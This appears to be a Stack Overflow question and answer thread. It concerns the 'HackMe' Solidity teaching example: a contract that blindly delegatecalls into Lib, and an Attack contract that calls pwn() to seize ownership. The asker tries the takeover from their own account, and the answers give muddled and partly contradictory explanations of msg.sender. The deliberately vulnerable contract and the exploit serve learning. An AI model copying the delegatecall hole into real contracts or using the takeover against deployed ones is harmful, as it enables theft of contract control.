0
pragma solidity ^0.8.10;

/*
HackMe is a contract that uses delegatecall to execute code.
It it is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;
    /*bool public fallbackCalisti;
    bytes public encodedData= abi.encodeWithSignature("pwn()");
    bytes public msgDatainFallback;*/


    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        //fallbackCalisti= true;
        //msgDatainFallback= msg.data;

        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

so what the code above does is described by the comment in it what I am trying to do is to change the owner of the HackMe contract by sending some ethers and thus triggering its fallback function without using Attack contract. So what I did is, I transacted 1 Ether to HackMe contract with the data of 0xdd365b8b, which is the bytes representation of abi.encodeWithSignature("pwn()") called in the Attack contract's attack function. What should happen is, when the fallback function is triggered it should delegatecall the pwn-function of the Lib-contract with the address of lib and make the msg.sender(me) the owner. However it doesnt change the owner although I sucessfully trigger the fallback function in HackMe contract. Could someone help me with this? Thanks in advance. https://i.sstatic.net/aPtlq.png I transact as in the image with one Ether.

1 Answer 1

0

You call this function pwn() from your contract with regular call . You should instead trigger the fallback function of the HackMe Contract and send it some ether, an example would bee : bytes memory data =abi.encodeWithSignature("pwn()") (bool success, ) = HackMe.call{ value: 1 ether }(data); If this case you send ether to hackMe contract and trigger the fallback function and data is the name of the function to bee caled , in this case "pwn()". So it will delegate call from hackMe to Lib contract . Should work let me know . ;)

EDIT: Yes you will not bee the owner , because the call is made from Attacker contract so from contract address , so the owner will bee the contract address .

If you try to make the call directly from contract where the function "pwn()" leave " the call is made from your account and not from contract address so you will bee the owner :) Hope now its more clear.

7
  • Yes the solution you proposed works, this is exactly what the Attack-contract does :) What I do not understand is, how do I call pwn function regularly. If I regularly called the pwn, then I should be the owner of Lib-contract. But when I transact Hackme-contract 1 Ether with the msg.data= data(bytes of abi.encodeWithSignature("pwn()") exatly as you wrote) I am neither the owner of HackMe, nor the owner of Lib.
    – ege126
    Apr 13, 2022 at 16:23
  • EDIT: Yes you will not bee the owner , because the call is made from Attacker contract so from contract address , so the owner will bee the contract address . If you try to make the call directly from contract(Lib) where the function "pwn()" leave " the call is made from your account and not from contract address so you will bee the owner :) Hope now its more clear. Apr 14, 2022 at 10:40
  • Thanks a lot but what I do not understand is why I can not be the owner if I transact Ethers with the data of abi.encodeWithSignature("pwn()"). I consider me being the owner if I use the attack-contract because I create the attack-contract. I want to be the owner without using attack-contract. Because what attack-function does is triggering the fallback-function in HackMe-contract. I can do this by sending Ethers to HackMe-contract but it doesnt work.
    – ege126
    Apr 14, 2022 at 11:30
  • (The call start from Attacker contract ) The contract Attacker call ,Lib contract so ,who will bee the caller (msg.sender ) ? The Attacker address and not your address , because the contract is msg.sender , beacuse : You call HackContract (msg.sender == you) => HackContract call Lib Contract (msg.sender is the HackContract and not you!) Apr 14, 2022 at 12:14
  • stackoverflow.com/questions/48562483/… take a look here Apr 14, 2022 at 12:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.